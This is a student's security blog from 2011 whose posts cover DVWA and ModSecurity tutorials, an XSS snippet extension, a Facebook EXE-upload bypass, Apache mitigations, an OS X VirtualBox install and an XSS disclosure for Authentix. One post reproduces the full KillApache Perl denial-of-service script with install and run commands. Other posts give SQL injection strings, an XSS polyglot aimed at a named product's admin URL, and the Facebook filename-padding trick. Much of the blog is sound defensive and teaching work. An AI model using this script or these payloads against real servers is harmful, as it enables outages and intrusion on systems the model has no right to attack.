Sunday, December 4, 2011

Chrome Extension for Easy XSS Insertion

I decided to venture into the world of Chrome extension-making this week. Surprisingly, it was extremely simple to make a basic extension. Getting the extension to interact with the actual code on the page (such as getting the element ID, etc.) was a bit more difficult, but only took a few hours to get working.

Before I could create an extension, I needed an idea. So I decided to make an XSS, mySQL injection snippet manager. It's a fairly basic, but potentially useful little extension that adds a menu to Chrome's right-click context menu. When a user right clicks on a text box, the menu appears, allowing the user to select from a variety of popular XSS attack scripts. When they click one, it's added to the text box and the user can then submit the form and see if the site is vulnerable.

I am only advocating the use of this extension for testing web applications that you own. Do not use this on any other sites. Most of the XSS scripts come from (with permission), an excellent XSS resource.

Download Link:


Sunday, November 27, 2011

I Need a Project...

[Note: This post is just a brainstorm session. I apologize for the run-on sentences and possibly confusing flow, but I wanted to just pour out my ideas in the exact manner in which I think.]

I'm back from Fall break and getting ready to dive back into classes here at RIT for the Winter. I'll be taking classes in Wireless Networking, Databases, Computer Crime, and Sociology. I'm looking forward to a great quarter, but at the same time, I need a project. Not something for school, just a regular personal project. I'm still continuing to learn a lot about web application firewalls, and I'm thinking something along those lines, but maybe from a different approach. Brainstorming now:

I've been working on a number of Perl scripts for competition-based hack and defend scenarios. Scripts that lock users out, watch for un-authorized users to a system, etc. I can keep doing that, but I need a more detailed project.

I need to improve my PHP skills. I'm thinking about a vulnerable web app that teaches exploitation. That way it will help me, since I need to code the site and purposefully add vulnerabilities, and then I can secure it with a WAF when I'm done. But Damn Vulnerable Web App already exists. But it's not that detailed, only a few pages and very basic exploits. I'm thinking of something that can be more of a learning experience, something with step-by-step walkthroughs and demos of exploitable security flaws. It should also show the code/techniques necessary to protect against that vulnerability as well. I like this idea. 

I'm trying to think of other ideas, but I keep coming back to a vulnerable web app / tutorial / teaching guide. There really needs to be a good, solid guide to web application vulnerabilities that lets the user see exactly what is happening. I think I'm going to run with this. To the drawing board!

Wednesday, November 9, 2011

Mod Security Presentation

I will be giving a presentation on Friday at SPARSA (RIT's Computer Security Club). I will be talking about my experiences so far using ModSecurity and how it can be used to secure web applications. For a preview of my presentation, check out the Google Doc Presentation below:


Tuesday, November 1, 2011

Working with Web Vulnerabilities and Web Application Firewalls [Part 5 - Mod Security]

[Note: this is part five of a multi-part series of posts detailing my experiences with securing web applications, creating test environments for practicing and installing and operating a web application firewall. Web security is an extremely important part of IT security since almost every major organization has a "web face." I will be exploring XSS, mySQL injection, and the use of web application firewalls to protect against these attacks.]

When we last left off in the series, I was demonstrating that Damn Vulnerable Web App is actually... vulnerable. But now it's time to move on and actually detect (and stop) hacking attacks through the use of a web application firewall known as Mod Security.

Intro to Mod Security
Mod Security is essentially a firewall module that can be added to an Apache web server to help detect, filter, and even block web attacks. It uses a complex set of rules based on signatures and regular expressions to determine whether or not a particular input is malicious. Unlike a traditional firewall, which merely analyzes source/destination addresses and perhaps port numbers or services, Mod Security is able to analyze the HTTP traffic that is passing over port 80 to the web server and determine the exact payload. This is extremely important because it enables us to block attacks that are entirely web-based.

Before installing mod_security, make sure you stop your server by running:
service httpd stop

Mod Security can be downloaded from however, the simplest method is to issue:

 yum install mod_security

Mod Security has a default set of rules and pattern matching techniques that it uses to detect attacks. For right now, we will be using the default rules. Hopefully in a future addition to this series I will delve more into the intricate settings to create a custom-tailored firewall. For now, I'll demonstrate Mod Security's features out-of-the-box.

Restart your Apache server:

service httpd start

And now, return to your DVWA homepage and login. For this demo, I will be attempting the same SQL injection attack that was performed in part four of this series. Watch what happens this time...

Remember from before that the attack had succeeded, returning a list of every user account in the system. From a security standpoint, it's pretty obvious that the page you see above is a much-preferred response to an attack.

The Logs
Mod Security is extremely useful because, as shown above, it blocked the attack from occurring. However, it's also great to have logs of which events were blocked. Luckily, Mod Security does that as well.

The logs are stored in /var/log/httpd/modsec_audit.log. Looking at the logs immediately after attempting our OR '1' = '1 attack, the following log is shown:

This log message reveals why our attack was stopped. The attack matched a pattern that was outlined in the mySQL injection ruleset. The log entry also details the response that Mod Security took - in this case, displaying a 403 access denied error.

More to Come!
This example only scratches the surface (and barely, at that) of what Mod Security can do. The configuration and rules can be changed and modified as needed to fit the needs of any web application. I hope to explore a lot more of the functionality behind Mod Security and perhaps write some custom rules. Stay tuned!

Monday, October 31, 2011

Working with Web Vulnerabilities and Web Application Firewalls [Part 4 - Basic Exploitation]

[Note: this is part four of a multi-part series of posts detailing my experiences with securing web applications, creating test environments for practicing and installing and operating a web application firewall. Web security is an extremely important part of IT security since almost every major organization has a "web face." I will be exploring XSS, mySQL injection, and the use of web application firewalls to protect against these attacks.]

There are hundreds of ways to exploit a web application. Users can upload invalid file types to an app that doesn't check the file type, they can inject code into the pages, as well as retrieve data from a database that should not be retrieved. The focus of this series is mainly on using a web application firewall to prevent against attacks, so I will not be explaining every attack type with examples. However, I will be focusing on two injection attacks here that will demonstrate that the web application is vulnerable before I use a web application firewall to block those attacks. I will be giving basic examples of cross site scripting and mySQL injection.

Cross Site Scripting (XSS)
The first attack type I am going to attempt on our web application is cross site scripting. However, we must first understand what cross site scripting is and how it can be used against a web app. Remember in part one of this series, I mentioned that most web vulnerabilities come from users entering input that is not valid and that could contain malicious code. Cross site scripting takes advantage of the fact that a fair amount of web pages and applications fail to "sanitize" user input. Take a look at the following PHP code:

echo <pre>Hello $_GET['name']</pre>;

This code gets a variable called "name" and prints it out directly within the page as HTML code. The echo statement prints whatever follows it into the HTML code of the page. If we pass in the name "Robert," the following is reflected onto the page to the user:

Hello Robert

However, suppose we replace Robert with JavaScript code? We type the following into the name box:


Now, the code we just typed is reflected into the actual code of the page as it is displayed.

echo <pre>Hello <script>alert('Hello')</script></pre>

This will cause an alert box to pop up for the user.

This form of XSS is known as reflected or non-persistent XSS because it only occurs if the additional code parameters are passed in at run time. The web page itself is not changed permanently. However, this vulnerability can be exploited by sending someone a URL with the parameters as seen in the screenshot above. A lot of XSS can be done directly through the URL bar. The example given above is very basic. However, imagine the security issues that could occur if instead of displaying an alert, an attacker loaded code from an externally hosted script (the "cross-site" in cross site scripting).

The second form of XSS (persistent or stored) allows users to inject code directly into the page that will be repeatedly reflected to users who load it. The code is usually stored in a database and then continually reflected. The attack is carried out the same way, except instead of simply being reflected back to the user, the script is saved an executed every time the page is loaded. Think of an visitor log that web page visitors can sign and leave comments. The information they submit is saved in a database and loaded each time the visitor log is displayed. If someone were to inject malicious code, it would be shown each time to the user. This form of XSS is much more dangerous.

mySQL Injection
mySQL injection is well documented around the web with thousands of tutorials on YouTube covering it. mySQL injection can range from a very simple, short line of code to an extremely complex and carefully crafted string to destroy a database. What it all comes down to, however, is creating a string that will "confuse" the PHP code into executing more commands than should be executed. Let's look at the following PHP code:

$name = $_GET['name'];
$result = mysql_query("SELECT * FROM people WHERE first_name='$name'");
while($row = mysql_fetch_array($result))
     echo $row['first_name'] . " " . $row['last_name'];
     echo "<br />";

It's fairly straightforward as to what this code does (prints out names from the database given a first name). But look at the way in which the code is outputting the user-entered input: it's treating it like a single piece of text that is just inserted into the mySQL command. Suppose that the user doesn't enter a name, but instead enters mySQL commands? Let's look at the following code:

' or '1' = '1

This code is extremely common for testing mySQL injection vulnerabilities. When the PHP code prints out this string as the "name" in the code above, a very important tick-mark (') causes the code to read as:

WHERE first_name=' ' OR '1' = '1'

Essentially, we are crafting a string of code that fits nicely within the given mySQL code. The tick-marks line up and a complete statement is made. The statement "OR '1' = '1'" is used because it will always evaluate to true. What we are telling the database to do is "return all the rows where 1=1." In other words, return all of the rows. This is a great way to view data in the database that should not be viewed.

Progressing beyond a simple OR '1' = '1' statement, pretty much any SQL code can by inserted into the statement. This can be used to view other tables, return all the lists of users, grab additional columns, etc. Here is a great link to some SQL statements that may be helpful in exploitation.

Next in the Series
Now that we've discussed injection techniques and very common vulnerabilities, we are going to be using a web application firewall to prevent those attacks. There are many ways to protect against injection attacks (most notably the filtering and sanitation of user input) but we will be leaving the application vulnerable for the purpose of learning about the firewall.

Sunday, October 30, 2011

Working with Web Vulnerabilities and Web Application Firewalls [Part 3 - An Insecure Environment]

[Note: this is part three of a multi-part series of posts detailing my experiences with securing web applications, creating test environments for practicing and installing and operating a web application firewall. Web security is an extremely important part of IT security since almost every major organization has a "web face." I will be exploring XSS, mySQL injection, and the use of web application firewalls to protect against these attacks.]

Now that we have a basic database of information that we can use later on, we need a way of practicing our exploitation techniques (and eventually our protection techniques) on a web application. Luckily, there is a solution called "Damn Vulnerable Web App." DVWA is a PHP/mySQL environment that is designed with test pages and configuration that can make it purposefully vulnerable to a number of attack vectors. We will be installing it in order to eventually protect against the attacks, but also to attack (and learn).

Downloading DVWA
DVWA can be downloaded at the projects home page: From the Fedora machine, download and extract the ZIP file from the download page. Next, the files need to be moved into the web directory. (If you don't have an Apache/PHP/mySQL server configured, please return to part two).

Installing DVWA
I will be using root for this exercise. I want to make the application as vulnerable as possible and running as root will increase our chances for exploitation.

[root@localhost current_dir]# mv dvwa /var/www/html

Next, we need to issue the following command:

setsebool -P httpd_read_user_content 1

Now, in the web browser, navigate to your site's address / dvwa. You'll see the following error:
Click the link to setup your database. Click the "Create/Reset Database" button. If it was successful, you should see:

If you search in your mySQL database via command line or phpMyAdmin, you should now see a "dvwa" database.

Logging In
If you return to /dvwa in your browser, you'll be presented with a login screen. The default login is:
Username: admin
Password: password

Finishing Up
Now that DVWA is installed, we need to edit some configuration files so that it can be as insecure as possible. PHP version 5.2.6+ will prevent most mySQL injection attacks. So we need to change the configuration to allow them (most PHP websites are a version or so behind, so it is safe to assume that a majority of sites are still vulnerable, despite a newer version of PHP).

In the HTML directory of /var/www, type:

vim .htaccess

Then, type the following into the file:

magic_quotes_gpc = Off
allow_url_fopen = On
allow_url_include = On

Then save and exit.

Next in the Series
Next I will be using the DVWA setup to test some common vulnerabilities such as XSS and mySQL injection. Following that, I will be installing a web application firewall in front of the application to determine how such a configuration can help protect against exploitation.

Working with Web Vulnerabilities and Web Application Firewalls [Part 2 - Test Environment]

[Note: this is part two of a multi-part series of posts detailing my experiences with securing web applications, creating test environments for practicing and installing and operating a web application firewall. Web security is an extremely important part of IT security since almost every major organization has a "web face." I will be exploring XSS, mySQL injection, and the use of web application firewalls to protect against these attacks.]

In this post, I will be discussing the test environment I am using to learn more about web security. I will only be discussing the most basic layers here, as the more advanced programs and the firewall itself will be discussed in an upcoming post.

Operating Systems
I am going to be using two operating systems during this learning experience. The first will be the operating system that is running my environment, the second will be a system that I use to attack it, simulating a remote attack. Before we begin, I encourage you to learn more about virtualization if you haven't done so already. All of my testing will be occurring in VMWare Workstation, an excellent product that is perfect for these situations. Virtual Box will work well also.

For the host operating system, I will be using Fedora 15, a Linux distribution. The attacking system will be Backtrack 5, a Ubuntu-based penetration testing distribution that has a number of pre-installed scripts and frameworks perfect for exploitation. Setting these systems up and connecting them within a virtual environment are a bit beyond the scope of this series / tutorials. However, the web is full of step-by-step guides to installing these systems and connecting them via a virtual network.

The Services
One extremely common set of services used to host websites is called LAMP. It stands for Linux (the operating system), Apache (the web server technology), mySQL (the database) and PHP (the web language used to code the pages and interact with the database and web application).

Beginning with Apache, we need to install our services onto the Fedora box. Luckily, installing them is extremely simple in Linux via the command-line. In lieu of retyping every step here, I am going to link to an excellent tutorial:

Remember that this series is going to be focusing on web application security. Whenever you install a web server, database, or web environment on a box and place it onto the public network, there are many security precautions that need to be taken at the OS level. That is beyond our scope right now. However, I caution you to read more about secure Apache and database configurations before running any public-facing website.

The Data
It's no fun exploiting web applications if there's no data to search for in the exploit. In order to create an environment, I found a sample mySQL database known as Sakila. It is essentially several hundred rows in multiple tables of random, sample data. The sample uses a number of mySQL features and is perfect for establishing a test environment.

Sakila can be downloaded here. Download the TGZ next to "sakila database." Save and untar the download inside of your Fedora box.

Installing Sakila is very simple, and luckily, the webpage has a step-by-step guide.

At this point you should have your Fedora (or alternative) distribution installed, your LAMP stack configured, and you should be able to access the "It Works!" webpage by going to your machine's IP inside of a browser. The Sakila sample database should be installed.

Next in the series I will be walking through some basic vulnerabilities and some extremely simple web pages. In a few posts, I will be talking about the use of a much better framework called "Damn Vulnerable Web App" that is essentially a purposefully insecure web application for the sole use of vulnerability testing. Later, we will be installing a web application firewall in front of the application and observing how it protects against our attacks.

Saturday, October 29, 2011

Working with Web Vulnerabilities and Web Application Firewalls [Part 1 - Background]

[Note: this is part one of a multi-part series of posts detailing my experiences with securing web applications, creating test environments for practicing and installing and operating a web application firewall. Web security is an extremely important part of IT security since almost every major organization has a "web face." I will be exploring XSS, mySQL injection, and the use of web application firewalls to protect against these attacks.]

Web security is paramount to the security of an organization as a whole. Almost every organization, company, or network has a public-facing web site or portal for accessing content, possibly logging in to an account, or receiving data from its users. But as with any application that a company uses, web applications pose a critical risk to the infrastructure of the network. Look at almost any attack that has been launched against an organization within the last few years. Chances are that those attacks either originated, or occurred entirely through a web application used by that organization.

In this series of posts, I have decided to take on the project of understanding more about web security, especially the area of web security that focuses on the direct, public-facing application (as opposed to attacking from the infrastructure side such as an Apache server). There are hundreds of guides online that talk about various areas of protecting web applications, but I wanted to describe my experiences from the absolute beginning.

To begin testing the security of web applications, we first need to understand exactly what a web application is and how it behaves. A web application is simply a program that runs through a browser-based interface. Rather than the traditional method of downloading the files needed by a program to run, the web application interacts with the user through a series of web pages and interfaces contained within the browser window. Web applications commonly use technologies such as JavaScript, HTML (and more recently, HTML5), PHP, mySQL, and others to communicate between the server hosting the application and the user using it.

Web Applications have greatly increased the availability and ease-of-use of common tasks. Think of Google Docs - it has taken a commonly used feature of computing (word processing) and moved it to a browser-based interface complete with almost all of the same functions. However, it can be run from any computer with a browser and an internet connection. The same documents can be accessed from smartphones and tablets as well, making our data practically universally available.

Besides the obvious drawback of having to have an active internet connection (which some applications are alleviating with local storage), web applications pose a number of risks - most importantly in terms of security. Unlike typical applications, which install and run from a user's computer, web applications run on the servers of the hosting organization and transfer the required data back and forth over the internet connection. Because of this, a wide array of vulnerabilities are exposed that never occurred with traditional applications. One vulnerability that keeps appearing time and time again (which I will be focusing on in this series) is the exploitation of the remote web server due to the "holes" that are made in the system by allowing web connections through an interface that allows user input.

In typical applications, bad user input (in other words, input that was not expected) could cause a program to crash, possibly force a reboot of the local machine, or, in some cases, allow it to be exploited (although this is much rarer). Web applications are much different because they are hosted elsewhere. When a user enters bad input, that input is being run against a remote web server, not necessarily against the local machine (with the exception of some vulnerabilities, which will be discussed later). This is a critical security issue because it can potentially allow an attacker to gain access to a remote web server.

This Series
In the upcoming posts in this series, I will be walking through the study of web application security, specifically through the use of sanitation of user input and the use of a web application firewall (both of which I will talk about much more). I will be writing this with the expectation that the reader has familiarity with web technologies and web server experience, but perhaps not with the security of web applications themselves.  I will be walking through every step of the process that I am using to study this aspect of security because it is a major learning experience for me as well. One thing I find annoying in some tutorials is when the steps taken to arrive at a particular outcome are not explained. So more advanced readers, please bear with me as I attempt to bring everyone onto the same page.

Friday, October 28, 2011

Facebook (Appears to Have) Fixed the EXE Vulnerability

Just yesterday, security researchers at Security Pentest pointed out a vulnerability in Facebook's Message center, allowing users (with some POST-data editing) to attach EXE files to a message and send them to anyone capable of receiving messages on Facebook (almost everyone, even non-friends). EXEs have been sent via email for ages, but Facebook users are notorious for clicking links and attachments on the site, so having the extra layer of security to block EXEs is important. The full vulnerability post can be read here:

I decided to try out the vulnerability to see if it had been fixed (it's been about 24 hours since the issue was made public, but over a month since Facebook was notified). From what I've been able to tell, Facebook has now fixed the vulnerability.

Using Tamper Data (an add-on for Firefox), the POST data could be edited when submitting a file as an upload to a message. The string <filename="filename.exe"> could be changed to <filename="filename.exe "> (angle brackets added for readability). Notice the space after the file name. Apparently, Facebook was not trimming this data and the additional space was enough to allow an exe file to slip through.

However, now the vulnerability appears to have been fixed. Attempting the same exploit results in an error message: "Unfortunately, your attachment could not be uploaded at this time. Please try again later."

TamperData - Changing the file name in the POST header
Facebook Messaging Error

Sunday, September 25, 2011

Distributed Attacks Using URL Shorteners and News Aggregators

[Obligatory Warning: The information below is merely a speculative issue. I am not suggesting its use on any site. It is, however, something to watch for.]

I was talking with some people in a group the other day, and our conversation turned towards the prevalence of news aggregation sites like Reddit, Digg, and others. Stories that are submitted to those sites are seen by hundreds of people, if not thousands, often within minutes of submission. Now you're probably wondering what this has to do with security.

Think about some of the attacks that have occurred recently. They've often originated with a SQL or perhaps a persistent JavaScript injection. There are a lot of attacks that can occur entirely from the URL bar, just by injecting additional information into the URL. This is bad because anyone can 'click' a URL.

Now back to news aggregators. When you submit a link to those sites, you can chose a title, add the URL, and then it is instantly visible to many users of that site. The point of these sites is that news-worthy links and important information gets "voted" to the top and that meaningless data is sent to the bottom. However, in order to be sent to the bottom, some people will have to click and rate the submitted site. This is where we bring in the malicious URL from before. If the URL with injection code is passed through a single or multiple URL shorteners, there is no way for the user of the aggregation site to know what is behind the link.

The entire point of this concept is to distribute a hacking attack. If an attacker is trying to attack a site through a form of injection, he or she can simply craft a ton of malicious links, submit them to these aggregation services from behind a proxy, and have some innocent user click them for him or her. It's effectively having others hack a site for them because when the site checks its logs, it'll see multiple IP addresses from users of the aggregation service.

Is this a big concern? Not really. But it's an interesting possibility that site admins and security professionals need to watch for on their own sites.

Tuesday, September 13, 2011

Windows 8 - First Looks

[Note: the following is a rambling of notes I jotted down quickly after viewing the new Windows 8 release.]

The Windows 8 Developer Preview was just released tonight (9/13/2011). I downloaded it, installed it in VirtualBox and played with it for a bit. My first thoughts: I don't like it one bit (for a desktop).

The one feature that I truly dislike is the use of panels. I originally thought they'd be an interesting and welcomed change for the desktop. I was wrong. They do nothing but hinder easy switching between apps and viewing of the start menu. They are big, clunky, and not suitable for a desktop at all.

The second thing that causes a major headache is the lack of familiar options. For example, to shutdown, the user has to click Start, then the "Settings" panel, the "Shut Down." This is not intuitive at all.

Finally, the color scheme is horrible. I know it can be changed, but the default teal / green is a shocking step backwards in Windows' appearance.

Check out the quick screencast:

Saturday, August 27, 2011

Installing Mac OSX Snow Leopard in Virtual Box

Before we begin, I am using Virtual Box 3.2.12 on Windows 7 and have installed Mac OS X Snow Leopard version 10.6.3. The laptop that I have installed this on is an HP dv6t with an Intel Core i5 and 6 GB of RAM. Your mileage may vary significantly. For example, I attempted to first install OS X in VMWare, but after attempting every option and change I could find online, I decided to attempt it with Virtual Box. Also, there are a number of options that may not work if your installation does manage to complete. Regardless, here we go.

  1. An Intel-based CPU that supports virtualization (most Core i5 and Core i7 machines do, but check this site for a full list:
  2. A copy of iBoot - it can be downloaded from tonymacx86's site here: (note: free registration required)
  3. Virtual Box software from Oracle (free):
  4. A full retail version of Mac OS X. Yes, you will have to purchase this. Obviously you could probably locate an ISO online, but this guide assumes you have the disc (it's only $35 here:;qid=1314467096&amp;sr=8-1)
  5. Patience
  1. Enable virtualization through your BIOS. Reboot your computer, press F12, F11, DEL, ESC, or whatever key gets you into your BIOS setup. Look for an entry called "Enable Virtualization" and enable it. If you cannot find the setting in your BIOS, you may need to locate your computer's user guide or Google it.
  2. Start Virtual Box and create a new virtual machine.
    1. Press Next, enter a name for your VM, select "Mac OS X" as the Operating System and "Mac OS X Server" as the Version.
    2. Give the VM 1024 MB of RAM
    3. Check "Boot Hard Disk" and select "Create a new hard disk"
    4. In the New Virtual Disk screen, click Next and then select "Dynamically expanding storage."
    5. Click Next and set a location for the VM. Set the disk size at 20 GB.
    6. Press Finish and Finish again
  3. Click on the VM name on the left side and click Settings
  4. Under the System tab, uncheck "Enable EFI (special OSes only)
  5. Click the "Acceleration" tab at the top, and ensure that both "Enable VT-x/AMD-v" and "Enable Nested Paging" are checked.
  6. Click the Storage tab on the left and click the disk under "IDE Controller."
  7. On the right, under Attributes, click the folder icon next to "CD/DVD Device: Empty"
  8. In the Virtual Media Manager window that appears, click "Add" and add the iBoot.iso file that you downloaded earlier.
  9. Click "Select" and click OK in the Settings window
  10. Start your virtual machine by clicking the Start button at the top
  11. iBoot will begin to load. When it loads and then pauses, insert your Mac OS X Snow Leopard DVD into your computer's disc drive.
  12. Now, right click on the CD icon at the bottom right of the VM window and change the source to your computer's disc drive.
  13. Now, click inside the VM window and press F5.
  14. iBoot will refresh, and now you will see an OS X install entry on the screen.
  15. Hit enter to begin the installation process
  16. Mac OS X will boot and you will be presented with the installation screen. If you do not see a disk in the window that asks which disk to install the OS on, then follow these steps:
    1. Click Utilities at the top window
    2. Click Disk Utility
    3. On the left, click the only disk that should be listed (probably "VIRTUALDISK" or something similar
    4. On the right, click the "Erase" tab
    5. Enter a name for your disk volume such as "VOL1."
    6. Leave the format as "Mac OS Extended (Journaled)"
    7. Click "Erase."
    8. Now, you will have a sub-disk entry on the left.
    9. Click close on the disk utility.
  17. Select the disk in the "Install to Disk" window
  18. Allow OS X to install now. It may take an hour or so, depending on your hardware.
  19. When it is finished, it may say "Installation Failed." That's OK, it didn't really fail.
  20. Turn off your VM by clicking the X in the VM window and selecting "Power Off."
  21. Once it is turned off, click "Settings" again
  22. Click the Storage tab and click the disk under IDE Controller
  23. In the drop down menu next to "CD/DVD Device" change it to the iBoot ISO from earlier
  24. Click OK and restart your VM
  25. Now, when iBoot starts, it will have an option for "OS X Snow Leopard" or "VOL1" (your disk's name)
  26. Right arrow click to highlight your disk and hit enter
  27. OS X will now boot and walk through the initial setup.
You will need to keep the CD ISO pointed at your iBoot file unless you want to make things complicated and install more third party utilities. So just remember to tab over and hit enter on each boot.

Issues: The resolution is stuck at 1024x768. The USB devices may not work. Shared folders may not function. Most of these issues can be resolved with additional hacks and software. 


Thursday, August 25, 2011

Preventing (Mitigating) Apache Vulnerability

Last post, I discussed how to attack a vulnerable Apache server using the latest exploit. Well, some hard working developers have put together a list of mitigation techniques to prevent (reduce) this attack. I do not claim credit for the information below, it is only a walk-through on applying the fixes to your server. I can, however, confirm that, in testing, it did appear to greatly reduce (actually prevent) the attack itself. Please be aware of what these options do before you make the changes. They are quick fixes and may have a negative effect on other aspects of your web server environment.

You can review the entire conversation thread here: As I said, this is NOT my work, I am only providing an explanation for enacting the changes, as well as a demo that it works.

First, log into your Apache server (if it hasn't been killed yet) and open up your "httpd.conf" file in vi or a another text editor. Append the following lines:

SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
LimitRequestFieldSize 200
RequestHeader unset Range 

*Note: please determine how these changes will affect your server and applications individually before applying them.

Save your httpd.conf file and restart the Apache service:

sudo service httpd restart 

Here is a screenshot of my test system after applying the changes. As you can see, the attack immediately fails:

Kill Apache With Backtrack 5

[Obligatory Warning: This post is for educational and prevention purposes only. I am not responsible if you use the information here in a malicious way. If you want to experiment with this vulnerability, please use Virtual Machines in a segregated environment. Never attack a machine that you do not own.]

A vulnerability for Apache web servers has been released yesterday (varying reports say that the bug was discovered over four years ago, but a script has just been written) on SecLists. Called "KillApache," the Perl script uses memory swapping and process killing to render the remote system unstable. The full thread can be read here at SecList:

Currently, Apache has offered several mitigation techniques and work-arounds until the next release addresses the issue. The issue is that the vulnerability affects almost all Apache servers currently in use - versions 1.3 and 2. You can read about the temporary fixes here:

Until it's fixed, I decided to try out this vulnerability using Backtrack 5 and Fedora LAMP Virtual Machines. The base install of Apache, PHP, and MySQL was not changed in any way on the Fedora machine, nor were any intrusion detection or mitigation systems; it was a fresh install.

I'm going to assume that you have an Apache server already set up. There are many guides that can assist with installing Apache on Linux or Windows (as far as I know, the vulnerability affects both platforms).

The Perl script can be run from any machine with Perl installed. I am using Backtrack for penetration testing, so I saved the script there. I noticed that the default installation of Backtrack did not include a necessary Perl component called "Parallel-ForkManager." To install that, run these commands:

$ wget
$ tar -xvzf Parallel-ForkManager-0.7.9.tar.gz
$ cd Parallel-ForkManager-0.7.9
$ perl
$ make
$ sudo make install

Once that is installed, download the script from the SecList site above. In case it is removed or the link changes, the full script is here:

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl &lt;host&gt; [numforks]\n";
print "example: perl 50\n";

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$p = "";
for ($k=0;$k&lt;1300;$k++) {
$p .= ",5-$k";

for ($k=0;$k&lt;$numforks;$k++) {
my $pid = $pm-&gt;start and next;

$x = "";
my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                                 PeerPort =&gt; "80",
                      Proto    =&gt; 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(&lt;$sock&gt;) {
print ":pPpPpppPpPPppPpppPp\n";

sub testapache {
my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                                 PeerPort =&gt; "80",
                      Proto    =&gt; 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = &lt;$sock&gt;;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;

if ($#ARGV &lt; 0) {

if ($#ARGV &gt; 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
while(1) {

Once you create and save the script as, you can run it from the command line as:

$ perl &lt;host&gt; &lt;num_forks&gt;

$ perl killapache 50

You will immediately notice that the attack is working if you view the system resource monitor of your remote machine. Here are some screenshots I took while running the attack against a VM:

This is the system before the attack is launched.

This is the system while the attack is running. Notice the huge spike in CPU usage.

As I said, please do not use this information maliciously. This is a serious bug because, although it will probably be addressed in the next Apache release, thousands, if not millions of servers will remain vulnerable for years until they are upgraded.

Tuesday, August 16, 2011

Move to Drupal

I've been looking for a CMS (Content Management System) for my personal website for a while now. After looking into both Drupal and Joomla, I settled on using Drupal to completely revamp my website. After a ton of customized theme coding, I was able to get it looking exactly the way I wanted. The advantage of having Drupal power my site is that I can now easily add content without ever having to edit the static HTML pages as I did previously. If there are any issues using the site, please let me know as I am ironing out a few issues at the moment. Thank you!

Thursday, July 28, 2011

Chrome Blocking "Insecure Scripts" from Facebook

I ran into an issue this evening while browsing on Chrome 14.0.835.2 dev-m. As I visit various pages, a new feature in Chrome (since version 12, I believe) is blocking "insecure scripts" from running. A few weeks ago, I noticed that an insecure script would be blocked every couple days or so. However, tonight I was seeing the popup on almost every site I visited. I realized that this had to do with Facebook when I visited Facebook and it looked like this.
Keep in mind that I do use Facebook's permanent HTTPS feature, which may have something to do with this. The fact that Facebook is causing issues explained why I was having issues elsewhere around the web: Facebook is embedded in some form on almost every webpage. I confirmed this by checking Chrome's developer tools to see what was being blocked on these pages.
To determine what was causing this, I decided to disable HTTPS in Facebook and see what happened. Turning off HTTPS allowed Facebook to load around the web without causing the "insecure script" warning in Chrome. 

So what was causing this? Looking into Chrome's developer tool, it appears that it is blocking a CSS page from Facebook, which explains why Facebook loads without its styles present as you can see in the image above. Also, Chrome takes issue with a number of lines of JavaScript used within the Facebook page. In total, it found 10 errors and 45 warnings on Facebook's homepage alone.

The only solution as of now is to either disable HTTPS in Facebook (it's not enabled by default, so you'll only be having these issues if you specifically turned it on) or running Chrome without blocking insecure scripts, which isn't recommended, but can be done by following the guide here:

Tuesday, July 26, 2011

Authentix Vulnerabilities

While doing some work on an Authentix system, I discovered a few, very basic, JavaScript injection and cross-site scripting vulnerabilities. After finding these, I've done some research and it appears that these issues have been discovered and reported to the vender previously (in previous versions) yet they still remain in the latest version of the software. The issue is mitigated slightly by the fact that the vulnerbility occurs on an admin page, visible after login, but I wouldn't doubt that other areas of the site exhibit the same issues.

Authentix is a webpage protection tool that uses IIS and NT user names as a backend. You can read more about the product here: To me, it seems like a very antiquated tool, but apparently it is still used in production environments.

The vulnerability occurs within the remote administration webpage while editing user accounts. After logging in, browse to the delete user admin page at:

This page allows you to enter the user name of the user you wish to delete.
When you click "delete user," the site appears to silently pass the parameter to the next page as shown here in the URL:
And here on the webpage:
So this part got me thinking. After looking into the code a bit, the textbox where the name is originally entered is called "username." So suppose we pass that in via the URL rather than typing it in the box and clicking the button? Let's try it:
Now this is why we have a problem. The webpage appears to just be displaying on the page whatever text was typed after "username=" in the URL. This is exactly how JavaScript injection and cross-site scripting start. So now let's try a new URL:';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

(This code was taken from which is a very nice XSS cheat-sheet).

This URL works nicely:

This works on several other pages as well, including some that are persistent. I have only tested to see whether a few other pages are vulnerable, but the entire site appears to be a bit outdated, especially from a design standpoint. I have emailed the company again (they have been contacted previously about this) and, if I receive a response, will include it here.